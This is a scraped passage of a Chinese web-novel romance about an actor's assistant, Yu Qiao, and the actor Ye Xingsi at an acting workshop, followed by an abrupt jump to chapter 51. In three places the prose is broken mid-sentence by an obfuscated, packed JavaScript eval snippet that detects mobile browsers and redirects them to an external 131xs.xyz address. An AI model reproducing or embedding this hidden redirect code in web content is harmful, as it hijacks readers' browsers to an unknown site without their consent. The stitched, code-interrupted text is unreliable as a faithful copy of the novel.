“有你认识的吗?”俞悄小声问叶幸司,“跟你差不多级别的。” 大厅里这些人像是关系都很好,三五成堆的在一起说话,叶幸司要是没个认识的人,他俩不得尴尬死。 “没有。”叶幸司倒不拘谨,真像去吃自助餐一样,端个盘子拿些吃的,找个桌子就坐下了。 俞悄的屁股刚挨上凳沿,肩膀搭上一只手,拍了他一下:“哟。” 轻佻,自来熟,毫无边界感。 俞悄脑子“嗡”一下,蹦出一个人的形象来。 他不敢置信地回过头,跟小蜡笑弯弯的狐狸眼对个正着。 “这么巧。”小蜡说。 滚啊。 “你怎么在这?”俞悄瞪着他,“来吃饭?” “来上课。”小蜡在他旁边坐下,还拽拽椅子靠近一点,“形体和舞蹈啊,特殊角色的仪态训练。你没看行程表啊?” “不是哥们儿,”俞悄确实没细看,“重点是这个吗?” 这种级别的培训班,怎么会喊个舞蹈老师来上课? “年年都是我们舞社。”小蜡理解俞悄的错愕,笑眯眯的解释,“又不是什么正经训练,七天,方方面面都走个过场,给外面看而已。” “那你也……”俞悄还是不太能接受。 “小看人了啊。”小蜡从桌上的果盘里捏片西瓜吃,从手机里翻出张简历图,让俞悄自己看。 狄一蜡,国家舞协会员,国舞表演艺术系,深造于伦敦一串英文,以个人和团队身份获得什么什么又是一堆英文,俞悄看不明白,反正光奖项与荣誉那格,就拉了一页半。 不过有一行俞悄看明白了——参与过这这那那,好几部影视作品的舞蹈指导。 他忙打开行程表,第四天下午的形体表演课,主讲老师:狄一蜡。 “嗨。”小蜡越过俞悄,和叶幸司打招呼,“上次在舞社就是你吧,戴口罩当时。” “你大名真就叫这个‘蜡’啊?”俞悄捧着手机问。 “是重点吗?”小蜡把话还给他,“哥们儿见过的明星不比你少。真当什么大场合呢?” 一句话,给俞悄干得五味杂陈。 他和叶幸司费了大劲挤进来的活动,在一些人眼里,压根什么都不是。 而小蜡履历上的年龄,也不过才29岁。 俞悄看向叶幸司,叶幸司以一种很松弛的状态靠着椅背,嘴里慢条斯理嚼着什么,也在看他俩。 “就知道吃。”俞悄说。 叶幸司往他盘子里扔了两粒蓝莓。 今天的聚餐确实不是正式场合,学员还没到齐,大部分人打个照面。 底下人吃着,几个主要负责人分别起身说了几句,头衔一个比一个专业,说起话来却口吻轻松。 众人默契地营造着自在的氛围,如果不是几个摄像机不停穿梭于餐桌之间,真让人以为是场普通的聚会。 但酒过三巡后,俞悄最厌烦的部分就开始了。 “程导!好久不见好久不见。” “哎方老师!” “卢哥这就是上次我跟你说的那位……” …… 大厅主桌的大佬们稳如泰山,其他人觥筹交错。 从各自的小桌,到互相游走敬酒,恭维话混杂着酒精,每个人都以自己的方式,极力结识攀扯着关系。 被俞悄当作变态的小蜡,也被敬了好几杯酒。 俞悄被一个来敬酒的胖子挤了一下,木着脸往叶幸司那边搬搬凳子。 真被他一语成谶了,全场似乎只有他俩没人搭理。 “赶紧吃。” 小蜡寒暄几句将人打发走,紧忙往嘴里扒了两块牛肉,踢俞悄的凳子。 “等会儿更乱,填饱肚子跑路。” 这话说到俞悄心里了。 从小他被爸妈带着,也出席过各种聚会,不管大小,公司的还是私人的,总逃不过所谓的酒桌文化。 家里人惯着他,俞悄从来都吃饱了就跑,可这会儿他有点犯难。 “直接走啊?”他鼓着腮帮子,跟小蜡咬耳朵说小话,“等会儿会不会还有总结致辞什么的?” 说着他又转头往叶幸司那边趴:“你要不要去找那几个导演喝一杯?” 叶幸司和小蜡都懒得理他,一个喝两口果汁,一个拽了张餐巾纸抹抹嘴,同时起身出去了。 “我没吃完呢!”俞悄忿忿,紧忙塞了口寿司,抱起外套跟着。 仨人在餐桌上吃出了同仇敌忾的气势,猫着腰跑出餐厅的瞬间,俞悄差点没憋住笑,恍惚间有种高中时逃晚自习的感觉。 上班半年,归来仍是不良。 直到穿过走廊,离开大厅,来到楼外的草地上,俞悄才后知后觉地意识到莫名其妙。 ——他怎么还跟上小蜡的节奏了? “你住C区?”他问小蜡。 “不啊。”小蜡往后比比,“不都在A ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14864701|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区吗。” “那你跟着我们干嘛?”俞悄脚步一顿。 小蜡也跟着停下来,表情有些无语。 “有没有必要这么防着我。”他简直想笑,“东哥又没在。” “东哥”这个称呼,上次从小蜡嘴里出现,俞悄很恼火,他有时候也这么喊周行东。 这次再听小蜡提起这个人,俞悄也不知道是对小蜡的厚脸皮习惯了,还是真的放下了,竟有种很遥远的感觉。 可小蜡跟没事儿人似的这么提出来,俞悄还是感到不适。 “你能不能别有事没事就提他,跟他有什么关系?” 俞悄盯着小蜡。 “我单纯烦你。” 叶幸司饶有兴趣地听他俩斗嘴,瞥了眼俞悄。 “行。”小蜡笑着做投降状,“本来想跟你解释一下的,当时是个误会。” “不想听。”俞悄说。 “爱听不听。”小蜡又把手机掏出来,这次总能加个微信了吧?” 俞悄眉毛一拧,小蜡赶在他开口前指指自己,“我现在可是导师哎。” “你不加那我加他吧。”他把手机朝叶幸司那边递。 “神经病!”俞悄上前一步挡在叶幸司身前,咬牙切齿地,到底还是把小蜡给加上了。 回房间的路上,俞悄叮嘱叶幸司:“离他远点,这人有毛病。” “什么毛病。”叶幸司问。 “没边界感。”俞悄回想起那晚在酒吧的画面,依然感到膈应。 他把前因后果解释给叶幸司,大诉反感,对周行东和小蜡的人品大肆抨击,其中不乏对于小蜡的个人偏见,说小蜡神经兮兮的,还是个丑八怪。 叶幸司刷卡开房门,回过头好笑地看他。 “好吧。”俞悄搓搓鼻子,“他长得还行。但人品真不行。” 他说上头了,跟着叶幸司要往人屋里走。 叶幸司微微一挡门板,把他隔在门外。 “明天六点喊我。”叶幸司交代道。 “这么早?”俞悄想想,“不是八点半才上课吗。” “要做造型。” “无人看你。”俞悄说。 叶幸司把门关上了。 俞悄回到自己房间,收到小陈的消息:你人呢? 俞悄:我们吃完先回来了。 小陈:我服了你了,你真当来吃饭呢? 俞悄不知道怎么说,小陈又发来一句:刚浩哥还跟程导提叶幸司呢,回头找你们人没了。 艾浩竟然这么好。 俞悄感动得不行,有点后悔今晚的怯场,跟小陈表示明天去找浩哥道谢。 俩人有一句没一句的扯着,一条好友申请突然弹在屏幕上方。 过于熟悉的头像,让俞悄的心跳毫无准备地空了一拍。 是周行东。 21.第 21 章 俞悄记得他和周行东说的第一句话,是“学长我视奸不小心手滑了”。 当时是在微博上,那会儿周行东已经有十几万粉了,俞悄犹豫了很久,不知道怎么就不好意思点那个关注。 他也不懂自己在紧张什么,好像人家能从十几万人里一眼看见他,并且知道他是谁似的。 俞悄闭着眼睛关注了周行东,没想到晚上的时候,周行东回关了他。 周行东的关注只有四十多个,俞悄盯着那个“互相关注”的小标志,连俩人牵手漫步在校园里的画面都浮现了。 为了打开话题,他用了点儿小心机,假装懊恼地给周行东发私信,说自己手滑了。 还发了一个哭得很丑的猫表情。 周行东显示已读,下一秒,俞悄被双向取关了。 他急得赶忙给周行东发:倒不是这个意思! 周行东:没事。 俞悄差点哭出来:不行,你双向我就有事了,你快加回来。 过了几分钟,对面直接发来了一串微信号。 俞悄做梦似的去搜索,搜出来的就是这张头像,一张黑白背影照。 是周行东本人。俞悄一眼就能看出来。 周行东的微信头像一直没换过。从他俩认识到分手,再到现在突然弹出的好友申请,一直都是这张头像。 他是个不喜欢改变的人,从生活用品的品牌,到衣食住行的审美,周行东始终有着他惯用的选择,不被任何外来的选项所打乱。 有几次俞悄给他精心准备的礼物,周行东礼貌道谢,但俞悄能看出他并不真的喜欢。 包括性格。周行东从不为任何人改变。 以前俞悄觉得这样的人很酷。 而现在剥离了喜欢的滤镜,他突然意识到,周行东其实是个很自我的人。 自我到分手了这么久,连个招呼都没打,就这么自信满满地发来个好友申请。 似乎不管什么时候,只要他回头,俞悄依然会像以前一样,满心迷恋地凑上去。 大人,时代变了。 他俞悄的脑袋也不是面团捏的。 俞悄带着点儿报复般的小暗爽,把这条好友申请给拒绝了。 拒绝归拒绝,该骂的人还是得骂。 俞悄前脚拒绝完周行东的好友申请,后脚就给小蜡扣了个问号。 小蜡:不用谢。 俞悄:你有病啊? 小蜡:? 对面显示正在输入了一会儿,最后又取消,小蜡直接发了个语音电话过来。 俞悄接了,小蜡开口就问:“什么意思,不喜欢了?” “不喜欢了。”俞悄觉得莫名其妙,“你非要加我好友就为了周行东?” “也不是。感觉你挺有意思的。”小蜡也挺一头雾水,“怎么跟他说的不一样。” “他说什么?” “说你多喜欢他啊。”小蜡很直接,“他也挺喜欢你的。我寻思要是因为我分开的,再给你俩劝好不就完了。” 现在的俞悄回头想,完全感受不到周行东对他所谓的“喜欢”,究竟体现在哪里。 他俩这段恋爱,完全跟小孩子过家家酒一样。 周行东这种单方面的自信,他也挺反胃的。 “你消停点别烦我了。” 他对小蜡一丁点儿都客气不起来。 “我不喜欢他,更不喜欢你,你的头像也很丑。” 俞悄说完就把电话撂了。 小蜡催命似的追过来一嘟噜问号:我头像丑?你到底有没有品? 有品这方面,俞悄目前认可的只有叶幸司。 第二天早上六点,他准时去喊叶幸司起床,哈欠连天地看着叶幸司捯饬自己,一边觉得这人骚包,一边不得不承认,这哥们儿在形象这一块是真能打。 “墨镜别拿了呗。”俞悄倒骑驴地趴在椅背上,困得有气无力,“上课戴这玩意儿,虎不虎?” 叶幸司摘掉镜框,往俞悄鼻梁上一卡。 “啊,平光的。”俞悄摘掉看看,才发现镜片不是黑的。 更装了。 对于“培训班”这种东西,俞悄的概念还停留在上学的时候。 他出发前还专门把ipencil翻了出来——这东西他用不着,买来就扔抽屉里吃灰,现在正好给叶幸司记笔记用。 可真正坐进这培训班的大教室里,他发现依然用不着。 为期一周的表演培训班,和所有国字头的活动一样,第一天上午光开会了。 美曰其名“开班仪式”。 今天确实是正儿八经的开班,昨天在餐厅那些不知道是谁的老头子们往台上一坐,名头一个比一个吓人。 助理和演员们分开,全都坐在后排,俞悄昨天光顾着吃,今天他支着脸认真听一会儿,每个人发言的主题都不一样,虽然官话居多,但表演艺术家就是表演艺术家,思想深度一张嘴就显现了出来。 有强调演员的本质本职的,有直接批评当下演艺圈风气的,还有把表演工作和“群众审美”、“寓教于乐”结合起来的。 这高度一拔,谁听谁不迷糊。 俞悄被动员得浑身干劲,暗下决心一定要抓住这七天机会,好好和叶幸司一起磨练演技。 结果下午正式开始上课时,助理根本没让进教室。 “真要上课了啊?”俞悄突然不用跟着叶幸司,还有点儿不习惯,“我不在你能行吗?” 叶幸司张嘴就想嘲讽,俞悄堵他的嘴:“那我这几天干点啥呢?” “你无聊先回去也行。”叶幸司收拾收拾准备去教室了。 “水杯。”俞悄把灌满咖啡的保温杯塞给他,“我不走,你去上课吧。” 叶幸司看他一眼,把杯子接过来。 这会儿什么都不干的感觉,跟前阵子在家挺尸又不一样了,这是真轻松。 俞悄也没回自己房间,叶幸司一走,他抻抻懒腰往床上一倒,打算先补个觉。 睡了一小时睁开眼,正好艾浩的助理小陈也没事做,给俞悄发消息要找他聊天。 俞悄就回自己房间订了堆零食,听小陈扯着八卦,俩人打了一下午游戏。 “啊,所以前阵子那个网剧的女主角,是早上那个胖子导演的……”俞悄吃了满嘴的瓜,一个比一个震惊。 “草里有人,奶我奶我!”小陈急得直叫,“多新鲜啊,都知道的事儿。” “我不知道啊!”俞悄手忙脚乱,“还有吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872313|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “行了死了。”小陈手机一扔,端起果茶灌了几大口。 “你别喝了!”俞悄也踢他。 “老多了。”小陈摆摆手,看着俞悄乐,“我刚入行的时候反应跟你一样。” “不过你听听就得了,别跟别人说啊,”他叮嘱俞悄,“有些靠山硬的,要是知道风言风语从哪传出来的,是真能把你们给捂死。” “我有数。”俞悄点点头。 他现在终于明白俞小雨为什么那么爱八卦了——小丫头知道的明星都是新人,俞悄听都没听过,而小陈爆的料最低也是艾浩那个级别。 什么男导演包女小花,女制作人包男明星,这都属于小料,更有一对天王级别的明星夫妻,表面恩爱,小陈说他俩私底下其实各玩各的,以前国家对娱乐圈管控还没那么严的时候,他们在外地的一次活动,和一个以中性阴柔美著称的男演员搞过三人行。 “被那边的狗仔拍到了,花大价钱买断才压住。” “你在说什么啊?”俞悄都听懵了,“是拍什么大帝的那个吗?” “就是他。”小陈再三叮嘱,“我是跟你聊得来,看你人还靠谱才跟你说,你千万把嘴闭死啊!” “不是……”俞悄的重点不在这,“他是gay?三人行是我想的那种三人行吗?” “不是gay也能搞啊。”小陈见怪不怪,“蜻蜓老总的孩子都三个了,蒋雨池他们团里那个谁不也是他捧进来的。” 俞悄听到“蒋雨池”这仨字儿都应激。 “那蒋雨池……”他简直有点不敢想。 “那不知道。我没听说过。”小陈摇摇头,瞥他一眼,“你们公司的事儿,你问我?” “应该不可能。”俞悄跟着摇头,“没听我……没听说过这些事。” 这也太那个了! 俞悄久久不能平复。 也没从纪繁西嘴里听过这些啊! 小陈被俞悄没见过世面的样子逗乐了,还想继续分享,艾浩打电话过来找人,他忙端着果茶走了。 都到门口了他还在提醒:“千万别乱说!” 俞悄哪有心思乱说,他的思维这会儿不受控制地发散,脑子里已经乱成一锅粥了。 下午的课从两点上到六点,傍晚七点在自助餐厅吃晚饭。这是培训班这一周的安排。 叶幸司六点十分回到房间,还在门口刷卡,隔壁的房门一开,俞悄探出脑袋来。 “听见我动静了?”叶幸司看起来心情很好,嘴角翘着。 俞悄则忧心忡忡:“我有事儿问你。” “怎么了?”叶幸司把门推开,让俞悄来他房间说。 “等一下。”俞悄把脑袋缩回去,把留给叶幸司的果茶和一堆小零食抱上。 叶幸司带点儿洁癖,不管住哪儿,回到卧室第一件事就是换衣服。 端个饮料的功夫,俞悄推门进来,正好对着他脱外套的背影。 肩是肩腰是腰的。屁股还很翘。 俞悄知道自己是弯的,不过他感觉自己就算不是,以他对周行东一见钟情的能力,对叶幸司这种级别的外形,肯定也有想法。 “你被潜过没?”俞悄直愣愣地问。 叶幸司脱外套的胳膊一拧,扭头盯过来。 22.第 22 章 别吧。 一看叶幸司这眼神,俞悄心里都咯噔一下。 不会真经历过吧。 他越想越觉得是那么回事儿,叶幸司这长相,这不爱跟人靠近的毛病,这扶不上墙的演技,这基本为零的资源…… 指定是遭受过什么难以启齿的暗示,但以他的性格誓死不从,结果就落得这么个二十八线的下场。 “没事的,兄弟,没事的。” 俞悄心生怜悯,一边安慰一边觉得这话很耳熟。 “职场都这样,你坚持做自己已经很棒了。” “你在放什么屁?”叶幸司问。 俞悄眨眨眼。 “小说看多了吧。”叶幸司回过头继续脱衣服。 “啊,没有啊?”俞悄松口气的同时,有种没吃上瓜的淡淡失落,“喝果茶吗?” 叶幸司有些无奈地瞥他。 “我就一下午没在,听谁说什么了?” “小陈呗。”俞悄想起小陈说的那些八卦就来神,眉飞色舞地分享给叶幸司听。 叶幸司听得时候不吱声,时而也跟着露出讶异的眼神。 等俞悄说完,他又一脸淡淡的表情,跟个人似的说:“少听这些。” “还有一个。”俞悄望着他。 叶幸司朝这边偏偏脑袋。 “装货。”俞悄没憋住笑,被叶幸司兜着脑袋拍一巴掌。 晚上吃饭的时候,那些牛逼人物已经不在了,有些名气的演员也都有自己的安排,自助餐厅的人比昨天少了一半。 艾浩倒是带着小陈来了,很低调地端了两碗粥吸吸溜溜地喝。 叶幸司和俞悄过去打招呼,感谢他昨天想着帮忙引荐。 艾浩摆摆手,四个人坐一张桌子,艾浩跟叶幸司聊了几句,问他一些上课感受之类,后续安排之类的话。 叶幸司糊到讲不起面子,有什么说什么,直言现在想先把演技提一提,目前还没有其他工作安排。 “这个逻辑是对的。”艾浩搁下粥碗擦嘴,靠在椅背上,“想好自己要什么,稳着走。步子迈得太快,容易扯着蛋。” 几个人都笑了。 “我当初也没比你强,圈里都知道,硬熬出来的。” 这点俞悄也知道。 艾浩是实力派,演技很接地气,但以前他对这人也没印象。前几年一部历史剧爆火,艾浩在里面演了个正得发邪的角色,风头一度压过主演,才正式走进公共视野。 “还有白桃,前阵子咱们一起录综艺那个。”艾浩继续说,“也是一步步走上来的。她跟我一个学校的,我清楚,龙套、短视频什么乱七八糟的都接过,演技被骂得什么似的。女生更不容易。” “是。”叶幸司点点头。 “现在不是也好起来了,后面还有两三个本子等着进组。那个林二部之前不用她,现在给白桃塞本子,小桃都看不上了。哎对,结课仪式的时候听说他也会过来。” “你这才刚开始,跟大多数人比起来,底子算好的了。” 艾浩起身准备走了,拍拍叶幸司的肩膀。 “抓住机会。” 小陈跟在他后面,冲俞悄做口型:抓住机会! “林二部?” 俞悄跟小陈挥手拜拜,记得听俞小雨骂过这人。 “特爱拍续集,新剧一出就爆,续集一拍就烂尾那个导演?” 叶幸司若有所思,不知道在琢磨什么,没接话。 回到房间,他像个来参加冬令营的好学生一样,对着笔记找了好几部电影出来看。 俞悄趴在他身后的大床上,跟小陈小蜡隔着手机斗地主。 ——小蜡是死磨硬泡非要加入的,说如果俞悄不带他玩,他现在就要来给叶幸司补课。 对这种没皮没脸的人,俞悄是一点儿招都没有。 和小陈一起做局连赢小蜡六把之后,小蜡在对话框里狂发问号,俞悄乐得不行,探脑袋关心了一下叶幸司。 “看得怎么样了,小优等生。” 叶幸司摁一下键盘,将电影暂停,转过椅子对俞悄说:“别动。” 俞悄翘着两条小腿晃悠到一半,僵硬地保持住动作:“嘴也不能动吗?” 叶幸司来到床边,突然俯下身,一手撑着床沿,另一只手托上俞悄的脸。 “干嘛,复刻经典电影桥段?”俞悄不敢动,斜着眼珠子朝叶幸子的方向瞅。 叶幸司转俞悄的脸没转动,手上加了力气,直接把他掰了过来。 俞悄生硬地转过脖子,正对上叶幸司一双悲伤的眼。 “……你。”俞悄绷不住了。 他脸蛋子被叶幸司捏得嘟囔起来一块,斜着眼睛,觉得此刻的自己应该很像一只斜眼狗。 “你给点提示行不行啊!” 俞悄从床上弹起来,受不了地猛搓脸。 “啥也不说上来就演,谁好演员硬掰着人脖子对戏啊!” 正叽里咕噜的抱怨,床沿那边一沉,叶幸司单膝压上来,虎口卡着俞悄的耳根,将他的脸又转了过来。 这次手劲很轻,叶幸司掌心温热,贴在俞悄脸上微微施力,俞悄便愣愣地朝他看。 “活下去。”叶幸司念台词。 “滚。”俞悄说。 叶幸司笑了下,对自己这段模仿很满意,坐回电脑前用手机记了点儿心得,点开电影继续看。 俞悄也趴回床上继续斗地主,时不时抓一下脖子——叶幸司的小拇指刚才从他颈侧划过去,痒得有点发烫。 在培训班的后面几天,俞悄每天的任务就是喊叶幸司起床上课,给叶幸司接咖啡,准备些鸡零狗碎的吃的喝的,然后陪他演戏。 叶幸司戏瘾很大,估计之前他都是自己一个人在家偷着演,在俞悄面前没真正放开。 现在来这里上课,被那群老戏精们灌了一肚子戏汤,他时不时突然就拉俞悄来上一段,也没个前情提要,也不管俞悄的反应,自己就开始演。 短短几天,俞悄已经被迫扮演了快死的爱人、知心的挚友、久别重逢的前妻、不近人情的法医、刁难商贩的可恶城管,还有一具身上纹着米老鼠的尸体。 “张曼玉是那么演的吗?”俞悄点评,“她看见米老鼠不是没忍住笑场,然后又没忍住哭?你怎么还不笑?” “男人和女人不一样,我在假设如果是我来演,会怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14881845|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表达情绪。”叶幸司现在也会和俞悄交流心得了。 “有道理。”俞悄想想,表示认可。 第四天下午是小蜡的课,俞悄在房间呆够了,跟小蜡表示他要进去旁听。 “来呗。”小蜡无所谓,“别捣乱就行。” 俞悄就背了一包零食,跟着叶幸司混进教室里,找个角落坐下,偷偷观察这些学员们。 演员们在镜头以外,除了颜值和气质上的差距,其实跟普通人真没什么区别。 小蜡在讲台上整理ppt,学员们该踩点进教室的也踩点,关系好的凑在一起说小话的也说,像叶幸司这样不跟人接触,坐在最后一排耍酷的,更是经典款。 俞悄隔着一排桌子,往他怀里扔了颗糖。 叶幸司拿起来看看,回头朝俞悄勾勾手。俞悄寻思着最后一排也不影响别人,就猫着腰去他旁边坐着。 “下午好。” 上课时间到,小蜡打开话筒打招呼。 演员们回以掌声,俞悄往嘴里塞颗糖,跟着拍了拍手。 “咱们这批学员里有我合作过的老师,有我很喜欢的演员,也有一些新朋友。以我的资历其实并不足以承担‘老师’这个头衔,但今天既然大家是来培训的,那么我们就各司其职,把各自的本职任务做好。” 俞悄把糖压在舌头底下,不乱嚼了。 “Ok不耽误时间,”小蜡笑着往下压了压手,“我们入正题。” 大三的时候,俞悄抢到过一门表演艺术课,但老师没怎么讲,光给他们放电影。 上次小蜡把这个培训班描述得轻描淡写,俞悄就先入为主地把小蜡也当成那种选修课老师,以为他也是放点电影,说点有的没的,把这一下午糊弄过去就拉倒。 但当小蜡真正以导师的身份站在面前,他发现自己对这人的偏见确实有点大。 小蜡非常、非常认真。 他从形体艺术的概念说起,简明扼要,不拖拉不敷衍,节奏也很舒服。 强调形体表演在影视戏剧中的特殊性与重要性时,他放了几个片段:瞎子、瘸子、自闭症患者、高位截瘫,都是很经典的角色,扮演者都是耳熟能详的演员。 “每当看到四肢健全身体健康的演员,将特殊角色表现得入木三分——尤其是比较常见的残疾形象,比如盲人啊瘸子啊,我真的都很佩服。” 小蜡暂停播放,继续讲课。 “因为这些形象我们在生活中,或多或少都接触过。镜头是放大器,越熟悉的形象越难表现,有一丁点儿刻意,观众都能轻易发现。” “好演员和演员的差距,往往也就体现在这些细微的角色揣摩里。” 没错。 俞悄深表赞同。 每次他看到演瞎子演得很刻意的角色,都会在心里替人尴尬。 “说不如练,我们实际对比一下吧。”小蜡拍了下手,“我需要两位同学上来配合。” 一股不详的预感,突然在俞悄心头升腾而起。 “俞悄。” 下一秒,小蜡笑盈盈地朝最后一排抬抬下巴,将全教室的目光都引到俞悄脸上。 “来,演一下傻子。” 50-60 第51章 对话框弹出来那一刻,俞悄的心也差点儿从嗓子眼蹦出来。 他先是开心,觉得自己的反常被注意到了,紧接着就又开始难受。 生不生气的有什么用,别说不是生气,就算他气死过去了,叶幸司也是直男。 俞悄又趴回桌上,想了半天,给叶幸司回一句:为什么这么问。 宇未岩 叶幸司:那你瞎跑什么,问你也不回。 俞悄:没瞎跑,想自己待一会儿。 这句话一发过去,叶幸司那边就没动静了。 说话啊。 俞悄突然有些难过。 他攥着手机等了五分钟,服务员都来送清口糖撵人了,才又收到消息提醒。 这次是连着两声。 叶幸司:嗯。 叶幸司:跟你的承衍哥待一会儿去吧。 俞悄看看这句话,把手机锁屏,用深呼吸往下压嘴角。 压完打开手机再看一眼,截张图,立马又把手机锁上,趴桌上闷笑。 “需要帮助吗先生?” 服务员斜眼瞥他半天了,小心翼翼地询问。 “不需要。”俞悄忙起身,压着笑往外走,“我挺好的,没事。” 人有时候是真的很……俞悄不想用那种字眼骂自己。 可他实在连自己本人都搞不清,到底想怎么样。 ——回复瞿承衍的时候,俞悄是真的不想太早回酒店。可一看叶幸司这么说,他又不想跑步了。觉得叶幸司很可爱,想给他买点好吃的带回去。 念头一起来,俞悄又掏出手机打字:你在哪呢。 这次叶幸司是真不回了。 俞悄站在路边又等半天,忿忿地把手机塞回兜里。 可爱个屁。 瞿承衍有夜跑这个习惯,已经是全剧组皆知了。 不管戏拍得多晚,他都要去跑两圈,据说是不跑步睡不着觉。前阵子感冒就是夜跑跑出来的。 他的跑步路线也很固定,是他到剧组第一天实地勘测,确定好的方案。 今天他的戏份比叶幸司多,叶幸司下午就走了,他得一直拍到晚上九点半。 俞悄没回酒店,又拐回剧组,打算就在剧组等到九点半。 其实回酒店只要不去叶幸司房间,俩人也碰不着面。 俞悄也不知道自己在较什么劲,就是不想和叶幸司待在同一个地方。 反正叶幸司也不回消息。 他在心里默默计较着,结果一进片场,抬眼就看见叶幸司竟然没走,抱着胳膊靠在程立方旁边,在认真看人拍戏。 “这里可以再尖锐一点啊,你们俩吵架。” 程立方举着小喇叭喊话。 “再来一次,拍完放饭了。” 这一场拍的是段朝和温崎的争吵。 段朝是隐忍稳重的人设,发火都是收着的,瞿承衍的情绪呈现很小。 白桃则需要大开大合,表现出温崎面对着看似冷静的段朝,对方越淡然,她越难以自持,怒火攻心,直到爆发的状态。 白桃清清嗓子示意助理给她递水,和瞿承衍低声交流,重新找状态。 俞悄下意识满场找叶幸司的保温杯,杯子没看见,又跟叶幸司对上眼了。 这次没等他反应,叶幸司盯住俞悄看了两秒,径直朝他走过来。 “干嘛去了。”他把俞悄带进休息室,直接问。 “吃东西。”俞悄干巴巴地回答。 他觑着眼睛瞅瞅地,瞅瞅转椅,瞅瞅镜子里叶幸司精致的侧脸,就是不往人脸上瞅。 叶幸司“哦”一声,不说话了。 俞悄跟人打字聊天的时候有个小毛病,如果对方正显示输入中,他就会下意识屏住呼吸,知道消息弹出来。 遇上打字慢的,有时候差点儿能把他憋死。 现在他发现面对面跟人说话,他好像也有这毛病了。 外面张罗着第二次打板,休息间的门板不怎么隔音,和房间里的沉默两相对比,越发明显地让人感觉到,是在两个完全截断的空间里。 和叶幸司在单独又封闭的房间里。 这个信息让现在的俞悄不自在,因为叶幸司已经不止是他的艺人,还是他喜欢的人。 他像个罚站的学生,低头靠着门板,抵死不说话,同时手上还小动作不断,食指指尖一下下刮着自己的裤缝。 “去吃哑巴药了?平时不是话挺多的吗。” 叶幸司再次开口,语气很无奈。 “上午还好好的,现在跟我鼻子不是鼻子眼不是眼。” 上午的俞悄已经死了。 俞悄这会儿听叶幸司放软口气,心里都受不了,本来没多大情绪都快委屈起来了。 “没怎么。”他梗着脖子不回答。 “那怎么下小雨了?” 叶幸司靠近一步,俞悄低着头,他就垂眼看着俞悄的头发旋儿,想想,伸手弹了一下。 “说话,小哑巴。” 从头顶扩散开的那一点触感,像是在梦里尿了床,带着一股让人不安的暖流,将俞悄从外向内地包裹起来。 明明平时听着叶幸司这样说话,会有开心甚至心动的感觉,现在俞悄只觉得难过。 他回想起了喜欢周行东的时候。 明明是他自己喜欢的对方,却越喜欢越别扭,所有情绪都变得一百倍大,开心不开心,一切感受都被对方一句话就给带着走。 “你不能再这么跟我说话了。” 俞悄终于抬头看向叶幸司,语气钝钝的,但态度坚定。 叶幸司打量他一会儿,一掀眉毛,问:“怎么说话?” “不用明知故问。” 俞悄吸溜一下鼻子,他想不明白自己想要什么,但他很清楚自己不想要什么。 “你以后也别找我陪你练戏,练也行,但是不要跟我练谈恋爱的戏。” “咱俩以后工作就是工作,我当好我的助理,你当好你的演员。” “以后说话请保持社交距离。” 俞悄踢着叶幸司的鞋子把他往外推。 “别靠这么近。” 叶幸司听俞悄说话的时候不打断,也不拒绝,俞悄让他往后,他就往后。 俞悄收回脚,他又没事人一样,站了回来。 “干啥呢?”俞悄脸上冒出个问号,抬眼瞪他。 “你问我?”叶幸司反问,“为什么突然说这些?” 俞悄习惯性想说不为什么,话到嘴边,他突然有些恼火。 “什么为什么?你不是知道我喜欢男的吗?” 我完了。 俞悄的勇气一阵阵的,话音还没落地,他就开始腿软。 这话跟暴露了自己的心意有什么区别? 他等不了叶幸司的回应,一旋身拉上门把手就想跑。 正巧,门外也有人在往里推。 “嗨。”瞿承衍探头进来,“辛苦了,等到闲在。” 最后一次拍摄应该是拍得很顺,瞿承衍肉眼可见地还在兴奋,话都比平时说得顺溜。 “终于有人愿意和我一起运动。幸司也还在,等下也要一齐跑步吗?” 他带着助理和化妆师,一群人乌泱泱地进来,每个人身上都洋溢着收工的松弛感。 休息室直接换了种氛围,俞悄的心脏狂跳,这转场太突然了,他切不过来台。 而叶幸司的演员身份,在这时候就显出了有别于普通人的强度。 “好啊。”他眉毛一挑,转个身就是一副面孔,十分正常地和瞿承衍聊天,“跑跑步挺好的。” “当然。”瞿承衍又化身健康专家,开始热聊运动的好处。 所以我的话题就这么跳过了吗? 俞悄真有点欠嗖的,刚才想跑,没跑掉又开始好奇——他企图从叶幸司身上看到些微不自在的反应,半天也没看出什么蛛丝马迹。 好像叶幸司就算知道自己喜欢他,也没有任何影响似的。 这晚的夜跑行动由俞悄主动在朋友圈提起,但他没去,推说自己头疼,想回去睡觉。 他暗暗希望叶幸司也改口拒绝,找自己把刚才的对话进行完。 